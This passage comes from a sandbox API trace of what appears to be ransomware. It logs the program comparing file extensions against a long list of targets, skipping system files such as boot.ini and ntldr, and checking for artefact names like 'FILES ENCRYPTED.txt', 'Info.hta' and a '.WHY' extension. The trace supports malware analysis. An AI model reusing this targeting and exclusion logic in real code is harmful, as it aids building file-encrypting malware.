4 [0059.134] lstrcmpiW (lpString1=".cr2", lpString2=".ini") returned -1 [0059.134] lstrlenW (lpString=".crt") returned 4 [0059.134] lstrcmpiW (lpString1=".crt", lpString2=".ini") returned -1 [0059.134] lstrlenW (lpString=".crw") returned 4 [0059.134] lstrcmpiW (lpString1=".crw", lpString2=".ini") returned -1 [0059.134] lstrlenW (lpString=".cs") returned 3 [0059.134] lstrcmpiW (lpString1=".cs", lpString2="ini") returned -1 [0059.135] lstrlenW (lpString=".css") returned 4 [0059.135] lstrcmpiW (lpString1=".css", lpString2=".ini") returned -1 [0059.135] lstrlenW (lpString=".csv") returned 4 [0059.135] lstrcmpiW (lpString1=".csv", lpString2=".ini") returned -1 [0059.135] lstrlenW (lpString=".cub") returned 4 [0059.135] lstrcmpiW (lpString1=".cub", lpString2=".ini") returned -1 [0059.135] lstrlenW (lpString=".dae") returned 4 [0059.135] lstrcmpiW (lpString1=".dae", lpString2=".ini") returned -1 [0059.135] lstrlenW (lpString=".dat") returned 4 [0059.135] lstrcmpiW (lpString1=".dat", lpString2=".ini") returned -1 [0059.135] lstrlenW (lpString=".db") returned 3 [0059.135] lstrcmpiW (lpString1=".db", lpString2="ini") returned -1 [0059.135] lstrlenW (lpString=".dbf") returned 4 [0059.135] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0059.135] lstrlenW (lpString=".dbx") returned 4 [0059.135] lstrcmpiW (lpString1=".dbx", lpString2=".ini") returned -1 [0059.136] lstrlenW (lpString=".dc3") returned 4 [0059.136] lstrcmpiW (lpString1=".dc3", lpString2=".ini") returned -1 [0059.136] lstrlenW (lpString=".dcm") returned 4 [0059.136] lstrcmpiW (lpString1=".dcm", lpString2=".ini") returned -1 [0059.136] lstrlenW (lpString=".dcr") returned 4 [0059.136] lstrcmpiW (lpString1=".dcr", lpString2=".ini") returned -1 [0059.136] lstrlenW (lpString=".der") returned 4 [0059.136] lstrcmpiW (lpString1=".der", lpString2=".ini") returned -1 [0059.136] lstrlenW (lpString=".dib") returned 4 [0059.136] lstrcmpiW (lpString1=".dib", lpString2=".ini") returned -1 [0059.136] lstrlenW (lpString=".dic") returned 4 [0059.136] lstrcmpiW (lpString1=".dic", lpString2=".ini") returned -1 [0059.136] lstrlenW (lpString=".dif") returned 4 [0059.136] lstrcmpiW (lpString1=".dif", lpString2=".ini") returned -1 [0059.137] lstrlenW (lpString=".divx") returned 5 [0059.137] lstrcmpiW (lpString1=".divx", lpString2="p.ini") returned -1 [0059.137] lstrlenW (lpString=".djvu") returned 5 [0059.137] lstrcmpiW (lpString1=".djvu", lpString2="p.ini") returned -1 [0059.137] lstrlenW (lpString=".dng") returned 4 [0059.137] lstrcmpiW (lpString1=".dng", lpString2=".ini") returned -1 [0059.137] lstrlenW (lpString=".doc") returned 4 [0059.137] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0059.137] lstrlenW (lpString=".docm") returned 5 [0059.137] lstrcmpiW (lpString1=".docm", lpString2="p.ini") returned -1 [0059.137] lstrlenW (lpString=".docx") returned 5 [0059.137] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0059.137] lstrlenW (lpString=".dot") returned 4 [0059.137] lstrcmpiW (lpString1=".dot", lpString2=".ini") returned -1 [0059.137] lstrlenW (lpString=".dotm") returned 5 [0059.137] lstrcmpiW (lpString1=".dotm", lpString2="p.ini") returned -1 [0059.138] lstrlenW (lpString=".dotx") returned 5 [0059.138] lstrcmpiW (lpString1=".dotx", lpString2="p.ini") returned -1 [0059.138] lstrlenW (lpString=".dpx") returned 4 [0059.138] lstrcmpiW (lpString1=".dpx", lpString2=".ini") returned -1 [0059.138] lstrlenW (lpString=".dqy") returned 4 [0059.138] lstrcmpiW (lpString1=".dqy", lpString2=".ini") returned -1 [0059.138] lstrlenW (lpString=".dsn") returned 4 [0059.138] lstrcmpiW (lpString1=".dsn", lpString2=".ini") returned -1 [0059.138] lstrlenW (lpString=".dt") returned 3 [0059.138] lstrcmpiW (lpString1=".dt", lpString2="ini") returned -1 [0059.138] lstrlenW (lpString=".dtd") returned 4 [0059.138] lstrcmpiW (lpString1=".dtd", lpString2=".ini") returned -1 [0059.138] lstrlenW (lpString=".dwg") returned 4 [0059.138] lstrcmpiW (lpString1=".dwg", lpString2=".ini") returned -1 [0059.138] lstrlenW (lpString=".dwt") returned 4 [0059.139] lstrcmpiW (lpString1=".dwt", lpString2=".ini") returned -1 [0059.139] lstrlenW (lpString=".dx") returned 3 [0059.139] lstrcmpiW (lpString1=".dx", lpString2="ini") returned -1 [0059.139] lstrlenW (lpString=".dxf") returned 4 [0059.139] lstrcmpiW (lpString1=".dxf", lpString2=".ini") returned -1 [0059.139] lstrlenW (lpString=".edml") returned 5 [0059.139] lstrcmpiW (lpString1=".edml", lpString2="p.ini") returned -1 [0059.139] lstrlenW (lpString=".efd") returned 4 [0059.139] lstrcmpiW (lpString1=".efd", lpString2=".ini") returned -1 [0059.139] lstrlenW (lpString=".elf") returned 4 [0059.139] lstrcmpiW (lpString1=".elf", lpString2=".ini") returned -1 [0059.139] lstrlenW (lpString=".emf") returned 4 [0059.139] lstrcmpiW (lpString1=".emf", lpString2=".ini") returned -1 [0059.139] lstrlenW (lpString=".emz") returned 4 [0059.139] lstrcmpiW (lpString1=".emz", lpString2=".ini") returned -1 [0059.139] lstrlenW (lpString=".epf") returned 4 [0059.140] lstrcmpiW (lpString1=".epf", lpString2=".ini") returned -1 [0059.140] lstrlenW (lpString=".eps") returned 4 [0059.140] lstrcmpiW (lpString1=".eps", lpString2=".ini") returned -1 [0059.140] lstrlenW (lpString=".epsf") returned 5 [0059.140] lstrcmpiW (lpString1=".epsf", lpString2="p.ini") returned -1 [0059.140] lstrlenW (lpString=".epsp") returned 5 [0059.140] lstrcmpiW (lpString1=".epsp", lpString2="p.ini") returned -1 [0059.140] lstrlenW (lpString=".erf") returned 4 [0059.140] lstrcmpiW (lpString1=".erf", lpString2=".ini") returned -1 [0059.140] lstrlenW (lpString=".exr") returned 4 [0059.140] lstrcmpiW (lpString1=".exr", lpString2=".ini") returned -1 [0059.140] lstrlenW (lpString=".f4v") returned 4 [0059.140] lstrcmpiW (lpString1=".f4v", lpString2=".ini") returned -1 [0059.140] lstrlenW (lpString=".fido") returned 5 [0059.140] lstrcmpiW (lpString1=".fido", lpString2="p.ini") returned -1 [0059.140] lstrlenW (lpString=".flm") returned 4 [0059.141] lstrcmpiW (lpString1=".flm", lpString2=".ini") returned -1 [0059.141] lstrlenW (lpString=".flv") returned 4 [0059.141] lstrcmpiW (lpString1=".flv", lpString2=".ini") returned -1 [0059.141] lstrlenW (lpString=".frm") returned 4 [0059.141] lstrcmpiW (lpString1=".frm", lpString2=".ini") returned -1 [0059.141] lstrlenW (lpString=".fxg") returned 4 [0059.141] lstrcmpiW (lpString1=".fxg", lpString2=".ini") returned -1 [0059.141] lstrlenW (lpString=".geo") returned 4 [0059.141] lstrcmpiW (lpString1=".geo", lpString2=".ini") returned -1 [0059.141] lstrlenW (lpString=".gif") returned 4 [0059.141] lstrcmpiW (lpString1=".gif", lpString2=".ini") returned -1 [0059.141] lstrlenW (lpString=".grs") returned 4 [0059.141] lstrcmpiW (lpString1=".grs", lpString2=".ini") returned -1 [0059.142] lstrlenW (lpString=".gz") returned 3 [0059.142] lstrcmpiW (lpString1=".gz", lpString2="ini") returned -1 [0059.142] lstrlenW (lpString=".h") returned 2 [0059.142] lstrcmpiW (lpString1=".h", lpString2="ni") returned -1 [0059.142] lstrlenW (lpString=".hdr") returned 4 [0059.143] lstrcmpiW (lpString1=".hdr", lpString2=".ini") returned -1 [0059.143] lstrlenW (lpString=".hpp") returned 4 [0059.143] lstrcmpiW (lpString1=".hpp", lpString2=".ini") returned -1 [0059.143] lstrlenW (lpString=".hta") returned 4 [0059.143] lstrcmpiW (lpString1=".hta", lpString2=".ini") returned -1 [0059.143] lstrlenW (lpString=".htc") returned 4 [0059.143] lstrcmpiW (lpString1=".htc", lpString2=".ini") returned -1 [0059.143] lstrlenW (lpString=".htm") returned 4 [0059.144] lstrcmpiW (lpString1=".htm", lpString2=".ini") returned -1 [0059.144] lstrlenW (lpString=".html") returned 5 [0059.144] lstrcmpiW (lpString1=".html", lpString2="p.ini") returned -1 [0059.144] lstrlenW (lpString=".icb") returned 4 [0059.144] lstrcmpiW (lpString1=".icb", lpString2=".ini") returned -1 [0059.144] lstrlenW (lpString=".ics") returned 4 [0059.144] lstrcmpiW (lpString1=".ics", lpString2=".ini") returned -1 [0059.144] lstrlenW (lpString=".iff") returned 4 [0059.144] lstrcmpiW (lpString1=".iff", lpString2=".ini") returned -1 [0059.144] lstrlenW (lpString=".inc") returned 4 [0059.144] lstrcmpiW (lpString1=".inc", lpString2=".ini") returned -1 [0059.144] lstrlenW (lpString=".indd") returned 5 [0059.144] lstrcmpiW (lpString1=".indd", lpString2="p.ini") returned -1 [0059.145] lstrlenW (lpString=".ini") returned 4 [0059.145] lstrcmpiW (lpString1=".ini", lpString2=".ini") returned 0 [0059.145] lstrlenW (lpString="desktop.ini") returned 11 [0059.145] lstrlenW (lpString=".WHY") returned 4 [0059.145] lstrcmpiW (lpString1=".WHY", lpString2=".ini") returned 1 [0059.145] lstrlenW (lpString="desktop.ini") returned 11 [0059.145] lstrcmpiW (lpString1="boot.ini", lpString2="desktop.ini") returned -1 [0059.145] lstrcmpiW (lpString1="bootfont.bin", lpString2="desktop.ini") returned -1 [0059.145] lstrcmpiW (lpString1="ntldr", lpString2="desktop.ini") returned 1 [0059.145] lstrcmpiW (lpString1="ntdetect.com", lpString2="desktop.ini") returned 1 [0059.145] lstrcmpiW (lpString1="io.sys", lpString2="desktop.ini") returned 1 [0059.145] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="desktop.ini") returned 1 [0059.145] lstrcmpiW (lpString1="Info.hta", lpString2="desktop.ini") returned 1 [0059.145] lstrcmpiW (lpString1="winhost.exe", lpString2="desktop.ini") returned 1 [0059.145] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0059.146] FindNextFileW (in: hFindFile=0x51aed0, lpFindFileData=0x2eff808 | out: lpFindFileData=0x2eff808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0059.146] FindClose (in: hFindFile=0x51aed0 | out: hFindFile=0x51aed0) returned 1 [0059.146] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x3621068 | out: hHeap=0x4c0000) returned 1 [0059.146] FindNextFileW (in: hFindFile=0x51ae90, lpFindFileData=0x2effa84 | out: lpFindFileData=0x2effa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0059.146] FindClose (in: hFindFile=0x51ae90 | out: hFindFile=0x51ae90) returned 1 [0059.147] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x3610058 | out: hHeap=0x4c0000) returned 1 [0059.147] FindNextFileW (in: hFindFile=0x50be38, lpFindFileData=0x2effd00 | out: lpFindFileData=0x2effd00*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0059.147] lstrlenW (lpString="C:\\Boot") returned 7 [0059.147] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Boot") returned 1 [0059.147] lstrlenW (lpString="Boot") returned 4 [0059.147] lstrcmpiW (lpString1="C:\\Windows", lpString2="Boot") returned 1 [0059.147] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xfffe) returned 0x3610058 [0059.147] lstrlenW (lpString="C:\\Boot") returned 7 [0059.147] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x2effa84 | out: lpFindFileData=0x2effa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x51ae90 [0059.148] FindNextFileW (in: hFindFile=0x51ae90, lpFindFileData=0x2effa84 | out: lpFindFileData=0x2effa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.148] FindNextFileW (in: hFindFile=0x51ae90, lpFindFileData=0x2effa84 | out: lpFindFileData=0x2effa84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x2ebf9340, ftLastAccessTime.dwHighDateTime=0x1d4d597, ftLastWriteTime.dwLowDateTime=0x2ebf9340, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0059.148] lstrlenW (lpString="BCD") returned 3 [0059.148] lstrlenW (lpString=".1cd") returned 4 [0059.148] lstrcmpiW (lpString1=".1cd", lpString2="") returned 1 [0059.148] lstrlenW (lpString=".3ds") returned 4 [0059.148] lstrcmpiW (lpString1=".3ds", lpString2="") returned 1 [0059.149] lstrlenW (lpString=".3fr") returned 4 [0059.149] lstrcmpiW (lpString1=".3fr", lpString2="") returned 1 [0059.149] lstrlenW (lpString=".3g2") returned 4 [0059.149] lstrcmpiW (lpString1=".3g2", lpString2="") returned 1 [0059.149] lstrlenW (lpString=".3gp") returned 4 [0059.149] lstrcmpiW (lpString1=".3gp", lpString2="") returned 1 [0059.149] lstrlenW (lpString=".7z") returned 3 [0059.149] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0059.149] lstrlenW (lpString=".accda") returned 6 [0059.149] lstrcmpiW (lpString1=".accda", lpString2="") returned 1 [0059.149] lstrlenW (lpString=".accdb") returned 6 [0059.149] lstrcmpiW (lpString1=".accdb", lpString2="") returned 1 [0059.149] lstrlenW (lpString=".accdc") returned 6 [0059.149] lstrcmpiW (lpString1=".accdc", lpString2="") returned 1 [0059.149] lstrlenW (lpString=".accde") returned 6 [0059.149] lstrcmpiW (lpString1=".accde", lpString2="") returned 1 [0059.149] lstrlenW (lpString=".accdt") returned 6 [0059.150] lstrcmpiW (lpString1=".accdt", lpString2="") returned 1 [0059.150] lstrlenW (lpString=".accdw") returned 6 [0059.150] lstrcmpiW (lpString1=".accdw", lpString2="") returned 1 [0059.150] lstrlenW (lpString=".adb") returned 4 [0059.150] lstrcmpiW (lpString1=".adb", lpString2="") returned 1 [0059.150] lstrlenW (lpString=".adp") returned 4 [0059.150] lstrcmpiW (lpString1=".adp", lpString2="") returned 1 [0059.150] lstrlenW (lpString=".ai") returned 3 [0059.150] lstrcmpiW (lpString1=".ai", lpString2="BCD") returned -1 [0059.150] lstrlenW (lpString=".ai3") returned 4 [0059.150] lstrcmpiW (lpString1=".ai3", lpString2="") returned 1 [0059.150] lstrlenW (lpString=".ai4") returned 4 [0059.150] lstrcmpiW (lpString1=".ai4", lpString2="") returned 1 [0059.150] lstrlenW (lpString=".ai5") returned 4 [0059.151] lstrcmpiW (lpString1=".ai5", lpString2="") returned 1 [0059.151] lstrlenW (lpString=".ai6") returned 4 [0059.151] lstrcmpiW (lpString1=".ai6", lpString2="") returned 1 [0059.151] lstrlenW (lpString=".ai7") returned 4 [0059.151] lstrcmpiW (lpString1=".ai7", lpString2="") returned 1 [0059.151] lstrlenW (lpString=".ai8") returned 4 [0059.151] lstrcmpiW (lpString1=".ai8", lpString2="") returned 1 [0059.151] lstrlenW (lpString=".anim") returned 5 [0059.151] lstrcmpiW (lpString1=".anim", lpString2="") returned 1 [0059.151] lstrlenW (lpString=".arw") returned 4 [0059.151] lstrcmpiW (lpString1=".arw", lpString2="") returned 1 [0059.151] lstrlenW (lpString=".as") returned 3 [0059.151] lstrcmpiW (lpString1=".as", lpString2="BCD") returned -1 [0059.151] lstrlenW (lpString=".asa") returned 4 [0059.151] lstrcmpiW (lpString1=".asa", lpString2="") returned 1 [0059.152] lstrlenW (lpString=".asc") returned 4 [0059.152] lstrcmpiW (lpString1=".asc", lpString2="") returned 1 [0059.152] lstrlenW (lpString=".ascx") returned 5 [0059.152] lstrcmpiW (lpString1=".ascx", lpString2="") returned 1 [0059.152] lstrlenW (lpString=".asm") returned 4 [0059.152] lstrcmpiW (lpString1=".asm", lpString2="") returned 1 [0059.152] lstrlenW (lpString=".asmx") returned 5 [0059.152] lstrcmpiW (lpString1=".asmx", lpString2="") returned 1 [0059.152] lstrlenW (lpString=".asp") returned 4 [0059.152] lstrcmpiW (lpString1=".asp", lpString2="") returned 1 [0059.152] lstrlenW (lpString=".aspx") returned 5 [0059.152] lstrcmpiW (lpString1=".aspx", lpString2="") returned 1 [0059.152] lstrlenW (lpString=".asr") returned 4 [0059.152] lstrcmpiW (lpString1=".asr", lpString2="") returned 1 [0059.152] lstrlenW (lpString=".asx") returned 4 [0059.153] lstrcmpiW (lpString1=".asx", lpString2="") returned 1 [0059.153] lstrlenW (lpString=".avi") returned 4 [0059.153] lstrcmpiW (lpString1=".avi", lpString2="") returned 1 [0059.153] lstrlenW (lpString=".avs") returned 4 [0059.153] lstrcmpiW (lpString1=".avs", lpString2="") returned 1 [0059.153] lstrlenW (lpString=".backup") returned 7 [0059.153] lstrcmpiW (lpString1=".backup", lpString2="") returned 1 [0059.153] lstrlenW (lpString=".bak") returned 4 [0059.153] lstrcmpiW (lpString1=".bak", lpString2="") returned 1 [0059.153] lstrlenW (lpString=".bay") returned 4 [0059.153] lstrcmpiW (lpString1=".bay", lpString2="") returned 1 [0059.153] lstrlenW (lpString=".bd") returned 3 [0059.153] lstrcmpiW (lpString1=".bd", lpString2="BCD") returned -1 [0059.153] lstrlenW (lpString=".bin") returned 4 [0059.153] lstrcmpiW (lpString1=".bin", lpString2="") returned 1 [0059.154] lstrlenW (lpString=".bmp") returned 4 [0059.154] lstrcmpiW (lpString1=".bmp", lpString2="") returned 1 [0059.154] lstrlenW (lpString=".bz2") returned 4 [0059.154] lstrcmpiW (lpString1=".bz2", lpString2="") returned 1 [0059.154] lstrlenW (lpString=".c") returned 2 [0059.154] lstrcmpiW (lpString1=".c", lpString2="CD") returned -1 [0059.154] lstrlenW (lpString=".cdr") returned 4 [0059.154] lstrcmpiW (lpString1=".cdr", lpString2="") returned 1 [0059.154] lstrlenW (lpString=".cer") returned 4 [0059.154] lstrcmpiW (lpString1=".cer", lpString2="") returned 1 [0059.154] lstrlenW (lpString=".cf") returned 3 [0059.154] lstrcmpiW (lpString1=".cf", lpString2="BCD") returned -1 [0059.154] lstrlenW (lpString=".cfc") returned 4 [0059.154] lstrcmpiW (lpString1=".cfc", lpString2="") returned 1 [0059.154] lstrlenW (lpString=".cfm") returned 4 [0059.155] lstrcmpiW (lpString1=".cfm", lpString2="") returned 1 [0059.155] lstrlenW (lpString=".cfml") returned 5 [0059.155] lstrcmpiW (lpString1=".cfml", lpString2="") returned 1 [0059.155] lstrlenW (lpString=".cfu") returned 4 [0059.155] lstrcmpiW (lpString1=".cfu", lpString2="") returned 1 [0059.155] lstrlenW (lpString=".chm") returned 4 [0059.155] lstrcmpiW (lpString1=".chm", lpString2="") returned 1 [0059.155] lstrlenW (lpString=".cin") returned 4 [0059.155] lstrcmpiW (lpString1=".cin", lpString2="") returned 1 [0059.155] lstrlenW (lpString=".class") returned 6 [0059.155] lstrcmpiW (lpString1=".class", lpString2="") returned 1 [0059.155] lstrlenW (lpString=".clx") returned 4 [0059.155] lstrcmpiW (lpString1=".clx", lpString2="") returned 1 [0059.155] lstrlenW (lpString=".config") returned 7 [0059.155] lstrcmpiW (lpString1=".config", lpString2="") returned 1 [0059.155] lstrlenW (lpString=".cpp") returned 4 [0059.156] lstrcmpiW (lpString1=".cpp", lpString2="") returned 1 [0059.156] lstrlenW (lpString=".cr2") returned 4 [0059.156] lstrcmpiW (lpString1=".cr2", lpString2="") returned 1 [0059.156] lstrlenW (lpString=".crt") returned 4 [0059.156] lstrcmpiW (lpString1=".crt", lpString2="") returned 1 [0059.156] lstrlenW (lpString=".crw") returned 4 [0059.156] lstrcmpiW (lpString1=".crw", lpString2="") returned 1 [0059.156] lstrlenW (lpString=".cs") returned 3 [0059.156] lstrcmpiW (lpString1=".cs", lpString2="BCD") returned -1 [0059.156] lstrlenW (lpString=".css") returned 4 [0059.156] lstrcmpiW (lpString1=".css", lpString2="") returned 1 [0059.156] lstrlenW (lpString=".csv") returned 4 [0059.156] lstrcmpiW (lpString1=".csv", lpString2="") returned 1 [0059.156] lstrlenW (lpString=".cub") returned 4 [0059.156] lstrcmpiW (lpString1=".cub", lpString2="") returned 1 [0059.156] lstrlenW (lpString=".dae") returned 4 [0059.157] lstrcmpiW (lpString1=".dae", lpString2="") returned 1 [0059.157] lstrlenW (lpString=".dat") returned 4 [0059.157] lstrcmpiW (lpString1=".dat", lpString2="") returned 1 [0059.157] lstrlenW (lpString=".db") returned 3 [0059.157] lstrcmpiW (lpString1=".db", lpString2="BCD") returned -1 [0059.157] lstrlenW (lpString=".dbf") returned 4 [0059.157] lstrcmpiW (lpString1=".dbf", lpString2="") returned 1 [0059.157] lstrlenW (lpString=".dbx") returned 4 [0059.157] lstrcmpiW (lpString1=".dbx", lpString2="") returned 1 [0059.157] lstrlenW (lpString=".dc3") returned 4 [0059.157] lstrcmpiW (lpString1=".dc3", lpString2="") returned 1 [0059.157] lstrlenW (lpString=".dcm") returned 4 [0059.157] lstrcmpiW (lpString1=".dcm", lpString2="") returned 1 [0059.157] lstrlenW (lpString=".dcr") returned 4 [0059.157] lstrcmpiW (lpString1=".dcr", lpString2="") returned 1 [0059.241] lstrlenW (lpString=".der") returned 4 [0059.241] lstrcmpiW (lpString1=".der", lpString2="") returned 1 [0059.241] lstrlenW (lpString=".dib") returned 4 [0059.241] lstrcmpiW (lpString1=".dib", lpString2="") returned 1 [0059.241] lstrlenW (lpString=".dic") returned 4 [0059.241] lstrcmpiW (lpString1=".dic", lpString2="") returned 1 [0059.241] lstrlenW (lpString=".dif") returned 4 [0059.241] lstrcmpiW (lpString1=".dif", lpString2="") returned 1 [0059.241] lstrlenW (lpString=".divx") returned 5 [0059.241] lstrcmpiW (lpString1=".divx", lpString2="") returned 1 [0059.242] lstrlenW (lpString=".djvu") returned 5 [0059.242] lstrcmpiW (lpString1=".djvu", lpString2="") returned 1 [0059.242] lstrlenW (lpString=".dng") returned 4 [0059.242] lstrcmpiW (lpString1=".dng", lpString2="") returned 1 [0059.242] lstrlenW (lpString=".doc") returned 4 [0059.242] lstrcmpiW (lpString1=".doc", lpString2="") returned 1 [0059.242] lstrlenW (lpString=".docm") returned 5 [0059.242] lstrcmpiW (lpString1=".docm", lpString2="") returned 1 [0059.242] lstrlenW (lpString=".docx") returned 5 [0059.242] lstrcmpiW (lpString1=".docx", lpString2="") returned 1 [0059.242] lstrlenW (lpString=".dot") returned 4 [0059.242] lstrcmpiW (lpString1=".dot", lpString2="") returned 1 [0059.242] lstrlenW (lpString=".dotm") returned 5 [0059.242] lstrcmpiW (lpString1=".dotm", lpString2="") returned 1 [0059.242] lstrlenW (lpString=".dotx") returned 5 [0059.242] lstrcmpiW (lpString1=".dotx", lpString2="") returned 1 [0059.243] lstrlenW (lpString=".dpx") returned 4 [0059.243] lstrcmpiW (lpString1=".dpx", lpString2="") returned 1 [0059.243] lstrlenW (lpString=".dqy") returned 4 [0059.243] lstrcmpiW (lpString1=".dqy", lpString2="") returned 1 [0059.243] lstrlenW (lpString=".dsn") returned 4 [0059.243] lstrcmpiW (lpString1=".dsn", lpString2="") returned 1 [0059.243] lstrlenW (lpString=".dt") returned 3 [0059.243] lstrcmpiW (lpString1=".dt", lpString2="BCD") returned -1 [0059.243] lstrlenW (lpString=".dtd") returned 4 [0059.243] lstrcmpiW (lpString1=".dtd", lpString2="") returned 1 [0059.243] lstrlenW (lpString=".dwg") returned 4 [0059.243] lstrcmpiW (lpString1=".dwg", lpString2="") returned 1 [0059.243] lstrlenW (lpString=".dwt") returned 4 [0059.243] lstrcmpiW (lpString1=".dwt", lpString2="") returned 1 [0059.243] lstrlenW (lpString=".dx") returned 3 [0059.243] lstrcmpiW (lpString1=".dx", lpString2="BCD") returned -1 [0059.244] lstrlenW (lpString=".dxf") returned 4 [0059.244] lstrcmpiW (lpString1=".dxf", lpString2="") returned 1 [0059.244] lstrlenW (lpString=".edml") returned 5 [0059.244] lstrcmpiW (lpString1=".edml", lpString2="") returned 1 [0059.244] lstrlenW (lpString=".efd") returned 4 [0059.244] lstrcmpiW (lpString1=".efd", lpString2="") returned 1 [0059.244] lstrlenW (lpString=".elf") returned 4 [0059.244] lstrcmpiW (lpString1=".elf", lpString2="") returned 1 [0059.244] lstrlenW (lpString=".emf") returned 4 [0059.244] lstrcmpiW (lpString1=".emf", lpString2="") returned 1 [0059.244] lstrlenW (lpString=".emz") returned 4 [0059.244] lstrcmpiW (lpString1=".emz", lpString2="") returned 1 [0059.244] lstrlenW (lpString=".epf") returned 4 [0059.244] lstrcmpiW (lpString1=".epf", lpString2="") returned 1 [0059.244] lstrlenW (lpString=".eps") returned 4 [0059.245] lstrcmpiW (lpString1=".eps", lpString2="") returned 1 [0059.245] lstrlenW (lpString=".epsf") returned 5 [0059.245] lstrcmpiW (lpString1=".epsf", lpString2="") returned 1 [0059.245] lstrlenW (lpString=".epsp") returned 5 [0059.245] lstrcmpiW (lpString1=".epsp", lpString2="") returned 1 [0059.245] lstrlenW (lpString=".erf") returned 4 [0059.245] lstrcmpiW (lpString1=".erf", lpString2="") returned 1 [0059.245] lstrlenW (lpString=".exr") returned 4 [0059.245] lstrcmpiW (lpString1=".exr", lpString2="") returned 1 [0059.245] lstrlenW (lpString=".f4v") returned 4 [0059.245] lstrcmpiW (lpString1=".f4v", lpString2="") returned 1 [0059.245] lstrlenW (lpString=".fido") returned 5 [0059.245] lstrcmpiW (lpString1=".fido", lpString2="") returned 1 [0059.246] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xfffe) returned 0x36a42b0 [0059.247] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x2eff808 | out: lpFindFileData=0x2eff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x519fc8 [0059.596] FindNextFileW (in: hFindFile=0x519fc8, lpFindFileData=0x2eff808 | out: lpFindFileData=0x2eff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.600] FindNextFileW (in: hFindFile=0x519fc8, lpFindFileData=0x2eff808 | out: lpFindFileData=0x2eff808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, 